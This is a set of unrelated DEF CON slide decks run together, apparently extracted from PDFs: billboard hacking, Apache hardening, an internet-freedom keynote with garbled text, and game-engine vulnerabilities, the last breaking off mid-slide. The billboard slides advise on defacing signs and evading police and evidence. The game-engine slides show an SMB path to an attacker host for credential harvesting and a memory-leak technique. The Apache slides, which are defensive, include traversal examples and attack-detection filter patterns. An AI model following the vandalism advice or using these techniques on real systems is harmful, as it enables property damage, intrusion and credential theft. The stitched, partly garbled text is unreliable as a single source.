encryption) --Packet sniffing (able to see where they’re broadcasting to, could spoof the address, and voila) --War dialing (depends on the location, but we were told by a sales associate that this is one of their concerns) Network Vulns. (cont.) • They are guilty of: --Not closing unused ports --Using default usernames/passwords (admin, password, etc.) --Using global usernames/passwords (A newly found friend of ours that works for them told us this) Information • Image requirements From The Company’s web site: DIGITAL BULLETINs 200 h x 704 w pixel resolution or 2.778” h x 9.778” w (No Bleed) RGB / 72 DPI / JPG format • Which billboard you’re going to go to It helps to plan ahead when and where you’re going. • Cover story This is useful for when you’re questioned by authority figures (police, parents, etc). Tools • A laptop Depending on which billboard you approach, you may need a laptop with all of the spiffy wireless and packet sniffing tools that are out there nowadays. • Lock pick kit +1 “Ninja” point. +1 Style • Bolt Cutters (in lieu of lock pick kit) -1 “Ninja” point. +1 “brute forcing” point. • Misc. tools dependent upon the type of billboard. What Not to Do • Try this during the day or peak hours of the evening As a rule of thumb, wait about half an hour after last call to ensure that the drunks are well on their way home and the cops are busy with them, not you. • Do it during the holidays and/or weekend • Forget to use gloves • Mess with the box with the bright orange sticker What not to do (cont.) • Hack a billboard near your house • Leave any sort of evidence that you were there (besides the image) • Pay for the advert and claim it was a hack. Who would do this? • (Graffiti) Artists It’s a new medium that is in a public place that gets lots of exposure. • Young people Hormones + Destruction of someone else’s property = lulz • Hackers It’s something new to exploit and take advantage of. Who would want to do this? (Cont.) • Extremists Digital billboards would be a great way for them to spread their message to a large audience quickly and with little or no cost to them. • Governments See above. Why would they want to? • Vandalism There will always be someone who wants to destroy someone else’s property (for example, adding a word bubble next to [insert name here]’s face that says “LOLDONGS”). • Digital Graffiti Again, it’s a new medium and they can either slightly alter pre-existing adverts to convey something else or the images can be taken offline and the graffiti artists could use the then-blank billboard as a clean canvas. Why would they want to do this? (cont.) • Guerilla Advertising Sort of became a buzz word that doesn’t hold any true meaning to the listener. It usually alludes to aggressive, unconventional marketing methods that is done on the cheap, uses psychology and focuses more on creativity and generating more referrals and bigger transactions. • Spreading propaganda Why just settle for the news, tv commercials, emails, and posters? By posting your message on the billboard network, it’ll appear for eight seconds on every billboard in that particular network repeatedly for an undetermined amount of time. • The Lulz Note: This defense will only be useful in Internet court. EOF • For more information contact Tottenkoph: [email protected] • Website with pictures, information and video coming soon!
pdf
Locking Down Apache Locking Down Apache Jay Beale Senior Security Consultant, Intelguardians [email protected] (Def Con 12) Contents Configuration Modification Chroot-ing Apache Removing Modules Using Security-focused Apache Modules httpd.conf We harden recent releases of Apache entirely through the httpd.conf file. /etc/apache/httpd.conf (Solaris) /etc/httpd/conf/httpd.conf (Linux, recent) /usr/local/apache/etc/httpd.conf (compiled w/ --prefix=/usr/local/apache) Let’s look at this file’s structure. Apache Configuration File Apache’s configuration file starts with a number of generic options and then begins to set options based on parts of the webspace in <Directory> blocks. <Directory /> Order Allow, Deny Deny from All </Directory> Apache Config file The Apache configuration file has three parts. The first part applies to the entire server as a whole, virtual servers and all. ### Section 1: Global Environment ServerRoot "/usr/local/apache" #Listen 12.34.56.78:80 Listen 80 LoadModule access_module modules/mod_access.so LoadModule auth_module modules/mod_auth.so LoadModule auth_anon_module modules/mod_auth_anon.s ... LoadModule alias_module modules/mod_alias.so LoadModule rewrite_module modules/mod_rewrite.so Apache Config File Section 2 (Slide 1/3) Section 2 applies to the main non-virtual server. It also sets defaults for the virtual servers that they can override. ### Section 2: ’Main’ server configuration User nobody Group #-1 ServerAdmin [email protected] #ServerName www.example.com:80 DocumentRoot "/usr/local/apache/htdocs" <Directory /> Options FollowSymLinks AllowOverride None </Directory> Apache Config File Section 2 (Slide 2/3) # This should be changed to whatever you set DocumentRoot to. <Directory "/usr/local/apache/htdocs"> Options Indexes FollowSymLinks AllowOverride None Order allow,deny Allow from all </Directory> UserDir public_html #<Directory /home/*/public_html> # AllowOverride FileInfo AuthConfig Limit Indexes # Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec #</Directory> Apache Config File Section 2 (Slide 3/3) AccessFileName .htaccess <Files ~ "^\.ht"> Order allow,deny Deny from all </Files> ServerTokens Full ServerSignature On ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/" <Directory "/usr/local/apache/cgi-bin"> AllowOverride None Options None Order allow,deny Allow from all </Directory> IndexOptions FancyIndexing VersionSort Apache Config File Section 3: Virtual Hosting #NameVirtualHost *:80 #<VirtualHost *:80> # ServerAdmin [email protected] # DocumentRoot /www/docs/dummy-host.example.com # ServerName dummy-host.example.com # ErrorLog logs/dummy-host.example.com-error_log # CustomLog logs/dummy-host.example.com-access_log common #</VirtualHost> Web Server Tightening Do You Need a World-Accessible Web Server? Modify httpd.conf to either make the web server listen only on the loopback inteface: Listen 127.0.0.1:80 or modify it to move the port: Listen 192.168.1.4:26457 This may make the server easier to firewall if you have less than granular control over what ports are allowed to what hosts. Web Server Tightening Of course, using Listen to change the port only doesn’t necessarily cut off access to clients in that granular a fashion. For internal hosts, we’ve only hidden the server, not cut off access. We can restrict the server to specific hosts: <Directory /usr/local/apache/htdocs> order allow,deny allow from 192.168.1.0/24 allow from 10.0.0.0/8 deny from all </Directory> Order / Allow and Deny Order statements define whether the allow statements will be default deny or default allow. The second of the two policies in the statement is the default policy. Access Control We can even impose greater restrictions on who can access our site. <Directory /foo/public_html> <Files foo-secret.html foo-extra-secret.html> AuthName "Foo for Thought" AuthType Digest AuthDigestFile /foo/.htpasswd Require valid-user </Files> </Directory> The <Files> block wasn’t necessary -- if we left it out, the access control applies to the entire directory. Access Control continued Create .htpasswd using the htpasswd command to md5 passwords. htpasswd -c -m /foo/.htpasswd jay jaypasswd After creating the file, all future users are added without the -c option: htpasswd -m /foo/.htpasswd seconduser secondpass Walking the Filesystem Many configurations of Apache allows the webserver to serve any files readable by its user from the entire server filesystem, as soon as someone with write access to /usr/local/apache/htdocs does this: $ ln -s / /usr/local/apache/htdocs/my_link A remote attacker can now see any file that the web server user can see. Not good. Spammers think: http://localhost/etc/passwd Default Deny on Server Files We tell the server to only serve files we intend to be served. <Directory /> Order allow,deny Deny from all </Directory> <Directory /var/www/html> Order Deny,Allow Allow from all </Directory> <Directory /usr/users/*/public_html> Order Deny,Allow Options Options <list> lists behavior allowed in the given <Directory /foo> block. All - All except multiviews ExecCGI - Execution of CGI scripts permitted FollowSymLinks - The server follows symlinks. SymLinksIfOwnerMatch - The server only follows symbolic links if the directory owner matches the symlink target. Includes - Allow SSI’s, including exec IncludesNoExec - Allow SSI’s, but no exec Indexes - Lists files in a directory when index.foo is missin MultiViews - Fuzzy search for content Cutting Off Symlink Misconfigurations Remove "FollowSymLinks" from Options statements, especially from the <Directory /> block. If we need symlinks, use its better replacement: SymLinksIfOwnerMatch Alternatively, use mod_rewrite to rewrite URLs to achieve the same effect as symlinks. Server Side Includes Server side includes (SSI) can be dangerous. They allow web developers to include other files, but also to execute arbitrary commands with the user context of the web server’s user. Here are the SSI possibilities: config configure output formats echo print variables exec execute external programs fsize print size of a file flastmod print last modification time of a file include include a file printenv print all available variables set set a value of a variable Removing Server Side Includes To remove the exec functionality, we can replace the "Options Includes" lines with: Options IncludesNOEXEC or just remove Includes altogether. Removing Indexing The "Indexes" option tells the server to show us a list of files whenever index.html is missing from a directory. This has two weaknesses: 1) might allow our "walking the filesystem" attack 2) allows an attacker to potentially find and read files he shouldn’t. We can deactivate this by removing "Indexes" from the Option lines and by creating an index.html file for each directory. Protecting the .htaccess and .htpasswd files To protect these files against dictionary attacks, make sure to not allow reads of the .ht* files: <Files ~ "^\.ht"> Order allow,deny Deny from all </Files> Directory-specific password Authentication: htaccess There are two ways to define the authentication and other behavior for a given directory. First, and best, you can place configuration in a <Directory> block in the global configuration file. Alternatively, you can apply the same directives in a .htaccess file in a given directory. $ cat /home/student/www/.htaccess Option Indexes AuthName "student site" AuthType Digest AuthDigestFile /home/student/www/.htpasswd Require valid-user Blocking .htaccess Overrides An .htaccess file can override anything in the Options statements, how the server handles files, or even what hosts are allowed to connect to the server. The latter is achieved by specifying directory-specific Allow and Deny statements. We can make overrides very specific, via the AllowOverride statement: Set: AllowOverride AuthConfig in the <Directory /> block. AllowOverride Options AuthConfig - Allow use of the authorization directives FileInfo - Allow use of the directives controlling document types Indexes - Allow use of the directives controlling directory indexing Limit - Allow use of the directives controlling host access (Allow, Deny and Order) Options - Regular Options statements Making Apache Offer Less Config Information Hide the version number from attackers to make version scanners and potentially worms fail. ServerSignature Off Hide the list of modules and other status information from an attacker: ServerTokens Prod Create Error Pages Replacing the standard error messages with custom pages might help foil automated scanners, though this doesn’t change the error code in the server’s HTTP response, which is what most read. ErrorDocument 500 /error-docs/error.html ErrorDocument 404 /error-docs/error.html Remove Unused Methods <Limit method1 method2 ... methodN> Available methods: GET POST PUT DELETE CONNECT OPTIONS PATCH PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK Methods are defined in section 9 of RFC2616 (http://www.ietf.org/rfc/rfc2616.txt) Remove Unused Methods Remove WebDAV methods <Limit PROPFIND PROPPATCH LOCK UNLOCK MOVE COPY MKCOL PUT DELETE> Order allow,deny Deny from all </Limit> Removing TRACE would help, but isn’t available here. We’ll have to do this through mod_rewrite. More about WebDAV: http://www.apacheweek.com/issues/00-12-29) http://www.ietf.org/rfc/rfc2518.txt Using Limit to remove all but desired methods <Directory /usr/local/apache/htdocs> <Limit GET POST OPTIONS> Order allow,deny Allow from all </Limit> <LimitExcept GET POST OPTIONS> Order deny,allow Deny from all </LimitExcept> #</Directory> Dynamic content and CGI Dynamic content authors often don’t understand the HTTP protocol or have a strong grounding in security principles. Try to read or blackbox audit your dynamic content. Blackbox Audit There are some good blackbox audit programs. Immunity’s Spike Proxy: http://www.immunitysec.com/resources-freesoftware.shtml Paros: http://www.proofsecure.com/index.shtml @Stake’s WebProxy http://www.atstake.com/products/webproxy/ In essence, allows you to modify every part of your client’s interaction with the webserver. Coping with CGI’s or other Dynamic Conten Either set specific directories that can run CGI scripts, as is now the default in Apache, or disable them by removing scriptalias statements and ExecCGI options in Options statements. Forcing CGI’s into a specific directory: ScriptAlias /cgi-bin /var/www/cgi-bin (http://httpd.apache.org/docs/howto/cgihtml#scriptalias) SuEXEC Think about using suEXEC or cgiwrap! Normally CGI scripts run as the same user as the webserver. Using suEXEC, they run as a particular user, which lets you contain damage. Add --enable-suexec to your ./configure statement, recompile and restart the server. If the server finds the suexec binary at the right place, /usr/local/apache/sbin/suexec in our example, it just starts using it. http://httpd.apache.org/docs/suexec.html Remove Default Content In many web server vulnerabilities, example CGI scripts caused the vulnerability. Additionally, attackers often scan for specific Web server types by looking for its default content. In the case of Apache, that might be the manual or the icons directory. Removing Default Content Remove: <DocumentRoot>/icons <DocumentRoot>/manual Make sure there are no CGI scripts in the CGI directory. On Fedora, that’s: /var/www/cgi-bin Chrooting Apache We can contain the damage that a compromised Apache server can do to a system by locking it into a jail directory. The /jail directory becomes Apache’s new root filesystem. This directory must contain every file on the system that Apache will need. Creating the Chroot - Compiling Apache It’s easier to re-compile Apache to put all of its files in one place than to use a distro’s compile, since the distros spread the files around the filesystem. $ ./configure --enable-mods-shared=most --prefix=/usr/local/apache --enable-suexec $ make Chrooting Apache - Tools When you chroot anything, your two greatest allies are strace and ldd. strace runs a child process, displaying all system calls ldd lists the dynamically loaded libraries a program requires Chrooting Apache Create the primary directory structure: umask 022 mkdir /jail && cd /jail mkdir -p dev etc lib tmp usr usr/local usr/bin usr/lib chmod 1777 /tmp Create Devices mknod -m 666 dev/null c 1 3 mknod -m 666 dev/random c 1 8 Create a passwd file Look at what user Apache uses and create a passwd file. egrep ’^user:’ /etc/passwd >etc/passwd egrep ’^user:’ /etc/shadow >etc/shadow egrep ’^group:’ /etc/group >etc/group ldd on /bin/bash ldd tells us what dynamically loaded libraries a program uses. # ldd /bin/bash libtermcap.so.2 => /lib/libtermcap.so.2 (0xb75d2000) libdl.so.2 => /lib/libdl.so.2 (0xb75cf000) libc.so.6 => /lib/tls/libc.so.6 (0xb7498000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0xb75eb000) Look for necessary libraries for all Apache programs # ldd /usr/local/apache/bin/* | sort | uniq | grep \=\> libapr-0.so.0 => /usr/local/apache/lib/libapr-0.so.0 (0xb74bb000) libaprutil-0.so.0 => /usr/local/apache/lib/libaprutil-0.so.0 (0xb75d6000) libcrypt.so.1 => /lib/libcrypt.so.1 (0xb7457000) libc.so.6 => /lib/tls/libc.so.6 (0xb72f8000) libdb-4.1.so => /lib/libdb-4.1.so (0xb74f9000) libdl.so.2 => /lib/libdl.so.2 (0xb742f000) libexpat.so.0 => /usr/lib/libexpat.so.0 (0xb74d9000) libgdbm.so.2 => /usr/lib/libgdbm.so.2 (0xb75bb000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0xb75eb000) libm.so.6 => /lib/tls/libm.so.6 (0xb7484000) libnsl.so.1 => /lib/libnsl.so.1 (0xb7442000) Copy in Libraries cp -p /usr/local/apache/lib/libapr-0.so.0 /usr/local/apache/lib/libaprutil-0.so.0 /jail/usr/local/apache/lib cp -r /lib/libcrypt.so.1 /lib/libdb-4.1.so /lib/libdl.so.2 /lib/ld-linux.so.2 /lib/libnsl.so.1 /jail/lib cp -r /lib/tls/libc.so.6 /lib/tls/libm.so.6 /lib/tls/libpthread.so.0 /lib/tls/librt.so.1 /jail/tls/lib cp -r /usr/lib/libexpat.so.0 /usr/lib/libgdbm.so.2 /jail/usr/lib Copy in Resolution Libraries and Files cp -p /lib/nss_files.so.1 /lib/libnss_files.so.2 /lib/libnss_dns.so.1 /lib/libnss_dns.so.2 lib cat >/jail/etc/nsswitch.conf passwd: files shadow: files group: files hosts: files dns echo "127.0.0.1 localhost.localdomain localhost" >/jail/etc/hosts Time Zone Files Either copy all time zone files in: mkdir -p /jail/usr/share cp -r /usr/share/zoneinfo /jail/usr/share/ or a single file: mkdir -p /jail/usr/share/zoneinfo/America cp -r /usr/share/zoneinfo/America/Chicago /jail/usr/share/zoneinfo/America Putting Apache into the Jail cp -pr /usr/local/apache2 /jail/usr/local Change HTTPD variable in /jail/usr/local/apache/bin/apachectl from: ’/usr/local/apache/bin/httpd’ to ’chroot /jail /usr/local/apache/bin/httpd’ Now start the daemon with /usr/local/apache/bin/apachectl start mod_rewrite The apache module mod_rewrite was created as a general swiss-army knife for rewriting incoming requests. It can be used as a security tool, though. mod_rewrite is very general, but its simplest use looks like this: RewriteEngine on RewriteRule ^/bad-url$ /index.html Using mod_rewrite to protect .htaccess files We can use modrewrite to make a particular request fail: RewriteEngine on RewriteRule /\.htaccess - [F] This rewrites the URL as a -, but also causes the request to fail. Removing TRACE functionality We place the following in the general config file. RewriteEngine on RewriteCondition %{REQUEST_METHOD} ^TRACE RewriteRule .* [F] mod_rewrite wrapup mod_rewrite is extremely flexible and extremely powerful. The great thing about mod_rewrite is it gives you all the configurability and flexibility of Sendmail. The downside to mod_rewrite is that it gives you all the configurability and flexibility of Sendmail.’ - Brian Behlendorf, Apache Group You can pass the rewrite to an external program. You can rewrite a given string with a randomly entry in a replacement table (originally used for load-balancing...) You can set a cookie on the client’s browser. Advanced Web Server Security: Remove modules! We can remove modules that we’re not using. Not all vulnerabilities aren’t in the core Apache code. Much is in the modules. http://httpd.apache.org/docs-2.0/mod/ Figuring Out Which Modules to Remove This page allows you to look at a module and see what configuration directives it provides: http://httpd.apache.org/docs-2.0/mod/ This page allows you to look at configuration directives and see what modules provide them: http://httpd.apache.org/docs-2.0/mod/directives.html Let’s look at the default module list in Apache on Red Hat 9. Default Module List in Apache in RH9 mod_access.so Provides access control based on client hostname, IP address, or other characteristics of the client request. mod_auth.so User authentication using text files mod_auth_anon.so Allows "anonymous" user access to authenticated areas mod_auth_dbm.so Provides for user authentication using DBM files mod_auth_digest.so User authentication using MD5 Digest Authentication. Default Module List in Apache in RH9 mod_include.so Server-parsed html documents (Server Side Includes) mod_log_config.so Configurable-logging of the requests made to the server. mod_env.so Modifies the environment which is passed to CGI scripts and SSI pages. mod_mime_magic.so Determines the MIME type of a file by looking at a few bytes of its contents. mod_cern_meta.so Older "CERN" header modification method for setting expires or other custom headers. Default Module List in Apache in RH9 mod_expires.so Generation of Expires HTTP headers according to config file mod_headers.so Customization of HTTP request and response headers mod_usertrack.so "Clickstream" cookie-based logging of individual user activity mod_unique_id.so Provides an environment variable with a unique identifier for each request, potentially used in webapps. Default Module List in Apache in RH9 mod_setenvif.so Allows the setting of environment variables based on characteristics of the request mod_mime.so Associates the requested filename’s extensions with the file’s behavior (handlers and filters) and content (mime-type, language, character set and encoding) mod_dav.so Distributed Authoring and Versioning (WebDAV) functionality (www.webdav.org) Default Module List in Apache in RH9 mod_status.so Provides information on server activity and performance mod_autoindex.so Generates directory indexes, automatically, similar to the Unix ls command or the Win32 dir shell command Requires mod_dir.so. mod_asis.so Sends files that contain their own HTTP headers mod_info.so Provides a comprehensive overview of the server configuration Default Module List in Apache in RH9 mod_cgi.so Execution of CGI scripts mod_dav_fs.so filesystem provider for mod_dav mod_vhost_alias.so Provides for virtual hosting mod_negotiation.so Provides for content negotiation (best representation based on browser-supplied media type, languages, character set and encoding) Default Module List in Apache in RH9 mod_dir.so Provides for "trailing slash" redirects and serving directory index files Requires: mod_autoindex.so mod_imap.so Server-side imagemap processing mod_actions.so This module provides for executing CGI scripts based on media type or request method. mod_speling.so (not a typo!) Attempts to correct mistaken URLs that users might have entered by ignoring capitalization and by allowing up to one misspelling Default Module List in Apache in RH9 mod_userdir.so User-specific directories mod_alias.so Provides for mapping different parts of the host filesystem in the document tree and for URL redirection. Required for CGI ScriptAlias directive. mod_rewrite.so Provides a rule-based rewriting engine to rewrite requested URLs on the fly. mod_proxy.so HTTP/1.1 proxy/gateway server Default Module List in Apache in RH9 mod_proxy_ftp.so FTP support module for mod_proxy mod_proxy_http.so HTTP support module for mod_proxy mod_proxy_connect.so mod_proxy extension for CONNECT request handling Figuring Out Which Modules to Remove This page allows you to look at a module and see what configuration directives it provides: http://httpd.apache.org/docs-2.0/mod/ This page allows you to look at configuration directives and see what modules provide them: http://httpd.apache.org/docs-2.0/mod/directives.html Apache Security Modules There are new modules being written specifically to increase the security of the Apache server. mod_security mod_paramguard mod_hackprotect mod_hackdetect mod_dosevasive mod_bandwidth mod_security This module looks for predefined attack signatures in the client’s requests. It can block or simply alert on those requests. This is stronger than mod_rewrite primarily because it can detect and block data in any part of the request, not simply in the GET URI. It also performs canonicalization features. www.modsecurity.org mod_security filtering Prevent SQL injection in a cookie: SecFilterSelective COOKIE_sessionid "!^(|[0-9]{1,9})$" Reject Googlebot SecFilter HTTP_USER_AGENT "Google" nolog,redirect:http://www.google.com Reject Javascript in all variables except varfoo SecFilter "ARGS|!ARG_varfoo" "<[:space:]*script" Reject Specific Command-execution SecFilter /etc/password SecFilter /bin/ls mod_security filtering (continued) Reject Directory Traversal SecFilter "\.\./" Reject Cross-Site Scripting (XSS) Attacks SecFilter "<[[:space:]]*script" Reject SQL injection attacks SecFilter "delete[[:space:]]+from" SecFilter "insert[[:space:]]+into" SecFilter "select.+from" mod_security Canonicalization Features Remove multiple forward slashes (//). Remove self-referenced directories (./). Treat \ and / equally (on Windows only). Perform URL decoding. Replace null bytes (%00) with spaces. URL encoding validation. Unicode encoding validation. Byte range verification. Miscellaneous mod_security features mod_security can chroot Apache after its already loaded its dynamically loaded libraries. SecChrootPath /jail/usr/local/apache It can also change its server signature: SecServerSignature "Microsoft-IIS/5.0" mod_security as a Reverse Proxy Ivan Ristic’s SecurityFocus article gives great instructions for using mod_security as a web security proxy (application-specific NIPS). Set up an Apache server in front of modsecurity.org with the following virtual config: <VirtualHost www.modsecurity.org> ServerName www.modsecurity.org DocumentRoot /rproxy/nowhere ProxyRequests Off ProxyPass / http://192.168.254.10/ ProxyPassReverse / http://192.168.254.10/ mod_security as a Reverse Proxy (continued) SecFilterEngine On SecFilterScanPOST On SecFilterCheckURLEncoding On # Scan response body SecFilterScanOutput On # On only if using Unicode SecFilterCheckUnicodeEncoding Off # Only allow certain byte values to be a part of the request. # Most English-only applications will work with 32 - 126. SecFilterForceByteRange 1 255 mod_security as a Reverse Proxy (continued) # Audit log logs complete requests. Configured as below it # will only log invalid requests for further analysis. SecAuditEngine RelevantOnly SecAuditLog logs/audit_log SecFilterDebugLevel 0 SecFilterDebugLog logs/modsec_debug_log # By default, deny requests with status 500 SecFilterDefaultAction "deny,log,status:500" # Put your mod_security rules here # ... </VirtualHost> mod_parmguard Definitely the most useful of the Apache modules, mod_parmguard (parameter guard) inspects incoming form submittals for abnormally-set parameters. The module includes a script that spiders your web application, building up a profile of all forms in use. You can use this profile directly or instead tune it for better detection. For instance, the script might make sure that a parameter only got numeric values, but you could force those numeric values to be between 1 and 5. www.trickytools.com mod_paramguard - Setting up Apache to Use Make sure your Apache server has the module activated: LoadModule parmguard_module modules/mod_parmguard.so ParmguardConfFile /usr/local/apache/conf/mainconf.xml ... <Location /usr/local/apache/htdocs/applicationdir> ParmguardEngine on </Location> mod_paramguard configuration <xml version="1.0"?>> <!DOCTYPE parmguard SYSTEM "mod_parmguard.dtd"/> <parmguard> <global name="http_error_code" value="404"/> <url> <match>validate.php</match> <parm name="name"> <type name="string"/> <attr name="maxlen" value="10"/> <attr name="charclass" value="^[a-zA-Z]+$"/> </parm> mod_paramguard configuration (continued) <parm name="age"> <type name="integer"/> <attr name="minval" value="10"/> <attr name="maxval" value="99"/> </parm> </url> </parmguard> Managing paramguard’s configuration htmlspider creates a config file that you can start with. Obviously, it gets radio buttons very right, but can only do length checks on strings. It’s up to you to then tighten this up: htmlspider.pl -v -h www.mysite.com/target_form.php As you build more profiles using htmlspider.pl, or as you re-run it on changed sites, you can use confmerger to combine them. confmerger.pl current-config file1 file2 mod_hackprotect Commercially sold for $50 per server, this module detects brute-forcing password guessing attempts and locks out those IPs. This only detects HTTP auth, not custom script authentication. www.howlingfrog.com/products/apache mod_hackdetect Commercially sold for $50 per server, this one detects multiple logins for a given user from different IP addresses and alerts or deactivates the user account. This can be strong for detecting users who are sharing their accounts or having their accounts stolen. Utility is limited by the fact that this is focused on HTTP auth. www.howlingfrog.com/products/apache mod_dosevasive This module is quite simple. It keeps count of the number of concurrent connections from each IP address connecting to the server and cuts off an IP that’s making too many connections too fast. The cutoff lasts for 10 seconds since the last attempted connection. www.freshmeat.net/projects/mod_dosevasive mod_bandwidth This module, only for Apache 1.3, allows you to configure strong bandwidth limits into Apache. While this isn’t primarily a security tool, it can be useful for blocking DoS attacks. www.cohprog.com/mod_bandwidth.html Credits and Book Reference The chroot process and much of the security module research is based strongly on Tony Mobily’s book: Hardening Apache by Tony Mobily ISBN 1590593782 Mod_security info comes from Ivan Ristic’s OnLamp article: http://www.onlamp.com/pub/a/apache/2003/11/26/mod_secu and Ivan Ristic’s SecurityFocus article: http://www.securityfocus.com/infocus/1739 Much of the other Apache research comes from Speaker Bio Jay Beale is the Lead Developer of the Bastille Linux project, the creator of the Center for Internet Security Unix Audit Tool and Linux Benchmark, and a member of the Honeynet Project. www.bastille-linux.org/jay He earns his living as a security consultant and penetration tester with the firm Intelguardians. www.intelguardians.com
pdf
Slouching*Towards*Utopia:** The*State*of*the*Internet*Dream* * * Jennifer*S;sa*Granick* DEF*CON*24* centraliza;on* * regula;on* * globaliza;on* •  Things'will'happen'no'one'will'really'know' why. ** •  The'Internet'is'TV' •  Security'haves'and'have'nots' •  Surveillance,'censorship'&'control'' * Declara;on*of*Independence*of* Cyberspace* * Governments*of*the*Industrial*World,*you*weary* giants*of*flesh*and*steel,*I*come*from* Cyberspace,*the*new*home*of*Mind.*On*behalf* of*the*future,*I*ask*you*of*the*past*to*leave*us* alone.*You*are*not*welcome*among*us.*You*have* no*sovereignty*where*we*gather.* The*Dream*of*Internet*Freedom* •  Overcome*age,*race,*class,*and*gender* •  Communicate*with*anyone,*anywhere* •  Free*access*to*informa;on* •  Hands*on*impera;ve* •  Computers*will*liberate*us* * * * EQUALITY* * * * * FREEDOM*OF*EXPRESSION* * * * * OPEN*ACCESS* * * * FREEDOM*TO*TINKER* (THE*HANDS*ON*IMPERATIVE)* * * * * LIBERATION* The*“Cycle”* History*shows*a*typical*progression*of* informa;on*technologies*from*somebody’s* hobby*to*somebody’s*industry;*from*jury`rigged* contrap;on*to*slick*produc;on*marvel;*from*a* freely*accessible*channel*to*one*strictly* controlled*by*a*single*corpora;on*or*cartel*—* from*open*to*closed*system.** * * Privacy*&*Security* * * Encryp;on* The*Next*20*Years* •  Things'will'happen'no'one'will'really'know' why. ** •  The'Internet'is'TV' •  Security'haves'and'have'nots' •  Surveillance,'censorship'&'control'' * *OR* •  Think*globally* •  Build*decentraliza;on*where*possible* •  End*to*end*encryp;on* •  Hands*off*private*tech*development* •  Start*being*afraid*of*the*right*things* •  CFAA,**DMCA,*USAPA,*FAA* •  Start*crea;ng*the*technology*for*the*next* cycle*of*the*revolu;on** * * Ques;ons*and*Comments*
pdf
BUGS IN MULTIPLAYER GAME ENGINES FINDING + EXPLOITING BACKGROUND > Over a few months I found 10+ remotely exploitable bugs in 2 game engines > I’m going to talk about 4 of these bugs (2 per engine) GAME ENGINES > The term Game Engine refers to the base software on which most video games are created > The popularity of many game engines means that lots of game share the same bugs > Updating your game engine can be a huge pain > Games don’t often get “security patches” after release GAME ENGINES > General understanding is that two engines are the most common: > Unreal Engine 4 (Or UE4) > Unity > If you’re a solo developer or small team, there’s a good chance you’re using Unity > If you’re a larger team and haven’t built your own engine, you’re probably using UE4 UNREAL ENGINE 4 > Created by Epic Games > Named for its roots in the Unreal series > Open source (With licensing restrictions) > Notable games: > Fortnite > PlayerUnknown’s Battlegrounds (PUBG) UNITY > Created by Unity Technologies > Core components are closed source > Core networking library is called UNET > Games using UNET: > Countless indie releases on Steam UNET > UNET is technically deprecated, but Unity Technologies has not released an alternative > UNET still receives patches and even occasional new features > Encryption API was added post-deprecation > A TON of new and existing games use UNET MULTIPLAYER PROTOCOLS > The evolution of multiplayer architectures has largely focused on two things > Increasing performance > Moving trust away from the client > These are often conflicting goals MULTIPLAYER PROTOCOLS > To understand multiplayer protocols we should understand the attacks they aim to prevent > A good example of the evolution of multiplayer protocols is the evolution of Movement Hacking MOVEMENT HACKING > One of the oldest and most common types of game hack is manipulating the player’s location > In the good old days, player location was trusted to the client > Manipulate location client-side and we can teleport MOVEMENT HACKING > To prevent this type of attack, authority over player location is trusted only to the server > Instead, clients can make a request to move the player and the server can update their position accordingly > This lead to a new type of attack, Speed Hacking SPEED HACKING > Speed hacking was the next evolution in movement hacking where the goal is not to teleport, but to move extremely fast > This typically works by sending a movement request excessively fast > More requests = More speed SPEED HACKING > Speed hacking is prevented by restraining movement server side > The server knows what is realistic movement for a given time frame and prevents anything beyond this MULTIPLAYER PROTOCOL BASICS DISTRIBUTED ARCHITECTURE > Most multiplayer protocols use some form of Distributed Architecture > Each system (client or server) has a copy of each “networked” object in the game world > Actions are performed and propagated through Remote Procedure Calls (RPCs) REMOTE PROCEDURE CALLS > Remote Procedure Calls are used to call functions on a remote system as if it were local > This simplifies things significantly for the developer > There’s a lot of complexity that goes into this process on the back-end OBJECT OWNERSHIP > Multiplayer protocols typically have some concept of ownership > Owning an object means having the authority to issue RPCs on that object > Each player has ownership over their character and associated subobjects > Player A can issues RPCs on Character A, but not Character B MULTIPLAYER PROTOCOLS > For performance, most multiplayer protocols are implemented over UDP > Browser games are the main exception here > This puts extra requirements on the protocol: > Validate packet sender > Identify duplicate or out-of-order packets UE4 ARBITRARY FILE ACCESS BUG #1 UE4 URLS > UE4 uses its own type of "URL" to communicate details between server and client. This includes: > Package names (Such as loading maps or other assets) > Client information (Player name, how many split-screen players are on one client) 127.0.0.1//Game/ThirdPersonCPP/Maps/ThirdPersonExampleMap?Name=Player UE4 URLS > A malicious URL can cause a server or client to access any local file path > This is boring, unless we use Universal Naming Convention (UNC) paths > UNC paths are special Windows paths used to access networked resources like regular files > They typically look like this: \\hostname\sharename\filename UE4 URLS > We can cause a server or client to connect to a remote SMB share with the following URL: \\asdf.umap.attacker.com\hi\hi.txt UE4 URLS > This opens affected servers/clients up to the world of SMB-related attacks > Credential harvesting > Authentication relaying > Can also be used as a server DoS > Fixed in UE4.25.2 with commit cdfe253a5db58d8d525dd50be820e8106113a746 UNET MEMORY DISCLOSURE BUG #2 UNET MEMORY DISCLOSURE > UNET packets are packed in a format that can allow for multiple RPCs in a single packet Packet Header 16-bit Msg Len 16-bit Msg Type Msg Body 16-bit Msg Len 16-bit Msg Type Msg Body M S G 1 M S G 2 UNET MEMORY DISCLOSURE > If we supply a message size field larger than our actual payload, the server will act on extra data already in memory 04 00 05 00 41 42 43 44 XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX LENGTH BODY 1C 00 05 00 41 42 43 44 XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX LENGTH UNET MEMORY DISCLOSURE > This old memory comes from past RPCs, including those from other connections > We can create an RPC that will leak this memory to us Heartbleed-style UNET MEMORY DISCLOSURE > To leak memory we need an RPC that will trigger a response with data from our malformed RPC > Chat messages are typically the perfect RPC for this 04 00 05 00 02 00 41 42 XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX LENGTH STRING BODY STRING LEN 1C 00 05 00 1A 00 XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX LENGTH STRING LEN UNET MEMORY DISCLOSURE > Other types of RPCs we might use: > Movement > Spawning a new object > Other game specific commands UNET MEMORY DISCLOSURE > What can we leak? > Passwords > Private messages > Player locations/actions > ... really anything sent over UNET > Fixed in UNET version 1.0.6 UE4 UNIVERSAL SPEED HACK BUG #3 UE4 